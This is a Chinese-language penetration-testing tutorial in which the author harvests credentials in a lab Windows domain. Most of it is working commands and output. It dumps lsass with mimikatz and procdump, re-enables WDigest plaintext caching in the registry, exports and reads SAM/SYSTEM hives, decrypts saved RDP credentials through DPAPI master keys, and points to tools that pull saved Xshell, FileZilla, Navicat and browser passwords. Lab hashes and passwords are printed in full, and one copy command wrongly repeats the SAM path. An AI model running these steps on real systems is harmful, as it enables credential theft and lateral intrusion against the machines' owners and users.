首先先下载mimikatz(米米卡茨)
https://github.com/gentilkiwi/mimikatz
这个在github上有20多k的star,好厉害的项目
这里我是win7的老界面搭建的域环境,所以会看不清
我做了几件事
1
| 官网:https://conemu.github.io/ 下载绿色压缩包 ConEmuPack.7z,解压到 Win7 虚拟机内任意文件夹,打开 ConEmu64.exe
|
美化包
2.VMware放大的时候是可以实现这个win7桌面的放大的
3.cmd直接ctrl+水表滚轮可以实现放大
!!!最后,2.2.0 20210721 mimikatz是在我的环境中可以跑的,更新的版本跑不了,然后还有就是我们cmd要这个管理员权限才可以
还是参考大佬博客:https://yuy0ung.github.io
这是内网渗透中很重要的一步,很多操作都需要用户凭据
注:这里的收集大多需要管理员权限,所以需要配合权限提升
获取域内单机密码和哈希
在前面介绍NTLM协议时介绍过windows的NTLM本地认证流程,Windows协议之NTLM:
在用户输入密码进行身份验证的过程中,所有操作都是在本地进行的。系统将用户输入的密码转换为NTLM Hash,再将其与SAM中的NTLM Hash文件进行比较,若相同则说明密码正确,反之则为错误。当用户注销、重启、锁屏后,操作系统会让winlog.exe显示登陆界面,即密码输入框,在winlog.exe程序接收到输入之后,会将密码交给lsass.exe进程,lsass.exe进程中会存储一份明文密码,并将其加密成NTLM Hash,与SAM数据库进行比较和认证
在上述过程中,有个lsass.exe进程,我们在渗透过程中使用的Mimikatz就是从该进程中抓取的明文或Hash密码
这里详细记录在如何使用mimikatz进行信息收集:
在线读取lsass进程
将mimikatz上传至目标主机后,命令行启动:
1
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
|
output
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| C:\Users\test1.TEST>cd Desktop
C:\Users\test1.TEST\Desktop>cd "2.2.0 20210721mimikatz_trunk"
C:\Users\test1.TEST\Desktop\2.2.0 20210721mimikatz_trunk>cd x64
C:\Users\test1.TEST\Desktop\2.2.0 20210721mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
.#####. mimikatz 2.2.0 (x64) #19041 Jul 21 2021 23:31:30 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords full
Authentication Id : 0 ; 3825824 (00000000:003a60a0) Session : Interactive from 1 User Name : test1 Domain : test1-PC Logon Server : TEST1-PC Logon Time : 2026/10/31 13:28:37 SID : S-1-5-21-2952220931-3465464072-1680046071-1000 msv : [00000003] Primary * Username : test1 * Domain : test1-PC * LM : 2ee87630354b4eb09825c52ece2de07c * NTLM : e26fc4f3fcc6381cf71d4d2f174af639 * SHA1 : 9c10f86fa99ef945cd56528569784ffe652138b6 tspkg : * Username : test1 * Domain : test1-PC * Password : 520520Tsq wdigest : * Username : test1 * Domain : test1-PC * Password : 520520Tsq kerberos : * Username : test1 * Domain : test1-PC * Password : 520520Tsq ssp : credman :
Authentication Id : 0 ; 235900 (00000000:0003997c) Session : Interactive from 1 User Name : test1 Domain : TEST Logon Server : DC Logon Time : 2026/10/31 2:06:34 SID : S-1-5-21-1487202020-1034444272-3049064449-1103 msv : [00000003] Primary * Username : test1 * Domain : TEST * LM : 2ee87630354b4eb07c6af072863b1d07 * NTLM : 93c447d1b3938d8771f71b56d5977612 * SHA1 : 383c4b88d59c59635fa61379a4c69b26ddea8ecd tspkg : * Username : test1 * Domain : TEST * Password : 520520Tsq@ wdigest : * Username : test1 * Domain : TEST * Password : 520520Tsq@ kerberos : * Username : test1 * Domain : TEST.LAB * Password : 520520Tsq@ ssp : credman :
Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2026/10/31 2:06:19 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman :
Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : TEST1-PC$ Domain : TEST Logon Server : (null) Logon Time : 2026/10/31 2:06:19 SID : S-1-5-20 msv : [00000003] Primary * Username : TEST1-PC$ * Domain : TEST * NTLM : 4e56f791f92dc2b05bb5838a43a1758c * SHA1 : 97aa5d63542fc185587ab6876cada27d4ce14e44 tspkg : wdigest : * Username : TEST1-PC$ * Domain : TEST * Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m kerberos : * Username : test1-pc$ * Domain : test.lab * Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m ssp : credman :
Authentication Id : 0 ; 46875 (00000000:0000b71b) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2026/10/31 2:06:18 SID : msv : [00000003] Primary * Username : TEST1-PC$ * Domain : TEST * NTLM : 4e56f791f92dc2b05bb5838a43a1758c * SHA1 : 97aa5d63542fc185587ab6876cada27d4ce14e44 tspkg : wdigest : kerberos : ssp : credman :
Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : TEST1-PC$ Domain : TEST Logon Server : (null) Logon Time : 2026/10/31 2:06:18 SID : S-1-5-18 msv : tspkg : wdigest : * Username : TEST1-PC$ * Domain : TEST * Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m kerberos : * Username : test1-pc$ * Domain : TEST.LAB * Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m ssp : credman :
mimikatz(commandline) # exit Bye!
C:\Users\test1.TEST\Desktop\2.2.0 20210721mimikatz_trunk\x64>
|

我这边是成功实现了
然后前面不要exit,用下面的指令
用于提升至DebugPrivilege权限(需要管理员权限)
用于导出用户凭据
1
| sekurlsa::logonpasswords full
|
output
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # sekurlsa::logonpasswords full Authentication Id : 0 ; 3825824 (00000000:003a60a0) Session : Interactive from 1 User Name : test1 Domain : test1-PC Logon Server : TEST1-PC Logon Time : 2026/10/31 13:28:37 SID : S-1-5-21-2952220931-3465464072-1680046071-1000 msv : [00000003] Primary * Username : test1 * Domain : test1-PC * LM : 2ee87630354b4eb09825c52ece2de07c * NTLM : e26fc4f3fcc6381cf71d4d2f174af639 * SHA1 : 9c10f86fa99ef945cd56528569784ffe652138b6 tspkg :
|
比如这里抓取到NTLM hash,尝试解密:
1
| e26fc4f3fcc6381cf71d4d2f174af639
|
但是要钱就先算了
离线读取lsass内存文件
也可以将lsass的进程内存转储,导出到本地后使用mimikatz离线读取
这里选择微软官方的ProcDump进行内存转储,首先将procdump上传至目标主机,命令行启动:
1
| procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
接下来将lsass.dmp放到本地离线读取:
1 2 3 4 5
| mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# "sekurlsa::minidump lsass.dmp"用于加载内存文件
# "sekurlsa::logonpasswords full"用于导出用户凭据
|
在上面的抓取过程中可以看见,wdigest功能中抓取不到明文密码,因为微软在2014年5月发布了补丁,关闭了wdigest功能,禁止从内存中获取明文密码,且windows server 2012及以上版本默认关闭了wdigest功能
可以通过修改注册表,可以重新开启wdigest功能:
1 2 3
| reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 开启wdigest
|
在线读取SAM文件
读取SAM文件中保存的用户登录凭据,可以导出当前系统中所有本地用户的hash:
1 2 3 4 5 6 7
| mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# "privilege::debug"用于提升至DebugPrivilege权限
# "token::elevate"用于提升至SYSTEM权限
# "lsadump::sam"用于读取本地SAM文件
|
离线读取本地SAM文件
将SAM文件导出并使用mimikatz加载并读取其中的用户登录凭据等信息,但微软为了提高SAM文件安全性,会对SAM文件使用密钥加密,该密钥存储于于SAM同目录下的SYSTEM文件中
那么首先需要导出SYSTEM和SAM文件,但这两个文件是被锁定的,所以需要借助工具实现,这里使用powersploit中的invoke-NinjaCopy.ps1
但powershell的默认执行策略为Restricted(受限):
此状态下无法导入powershell脚本,需要更改执行策略:
1
| Set-ExecutionPolicy Unrestricted
|
接下来导入ps脚本:
1
| Import-Module .\Invoke-NinjaCopy.ps1
|
Copy
然后导出SAM和SYSTEM文件:
1 2 3
| Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SYSTEM
|
这里有个缺点即高版本windows(win10及以上)执行该ps脚本会出错(本人还没搞懂原因):
此外,CVE-2021-36934可以提权直接读取SAM和SYSTEM文件,后面提权文章再细嗦
在具有管理员权限的情况下,可以直接通过保存注册表的形式导出:
1 2 3
| reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
|
导出后使用mimikatz加载并读取SAM中的用户凭据信息:
1
| mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
|
获取常见应用软件凭据
主机中可能会存在一些特定的应用程序来存储密码,可以尝试进行获取
获取RDP保存的凭据
若用户在RDP登陆时,勾选了保存连接凭证,凭据便会使用数据保护API以加密的形式存储在windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials
查看当前主机保存的所有连接凭证:
1 2 3
| cmdkey /list
# 查看当前保存的凭据
|
1 2 3 4 5 6 7
| C:\Users\test1.TEST>cmdkey /list
当前保存的凭据:
* 无 *
C:\Users\test1.TEST>
|
1 2
| dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\* # 遍历Credentials中保存的凭据
|
这里得到一个凭据
mimikatz解析该凭证3E039BFD58331448709CE3225E1724AF:
1
| mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF" exit
|
其中pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID,这里记住guidMasterKey:{ba5eb8b7-53cf-4452-bf99-44b3402b8fc1}
接下来执行:
1
| mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
|
这里可以找到和guidMasterKey相关的MasterKey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed
接下来用拿到的MasterKey执行命令:
1
| mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF /masterkey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed" exit
|
成功获取到RDP凭证的administrator密码:Admin123456
获取Xshell保存的凭据
Xshell会将服务器连接信息保存在session目录下的.xsh文件中:
| Xshell 版本 |
.xsh 文件路径 |
| Xshell 5 |
%USERPROFILE%\Documents\NetSarang\Xshell\Sessions |
| Xshell 6 |
%USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Sessions |
| Xshell 7 |
%USERPROFILE%\Documents\NetSarang Computer\7\Xshell\Sessions |
如果用户连接时勾选了记住用户名/密码,那么该文件会保存远程服务器连接的用户名和加密后的密码
可以使用SharpXDecrypt进行凭据获取,上传到主机执行即可:
获取FileZilla保存的凭据
无需多言,利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd
1
| SharpDecryptPwd.exe -FileZilla
|
Copy
获取NaviCat保存的凭据
依旧是SharpDecryptPwd:
1
| SharpDecryptPwd.exe -NavicatCrypto
|
获取浏览器保存的凭据
web浏览器有保存密码的功能
可以使用hackbrowserdata获取密码
三大浏览器数据都可以收集,不只密码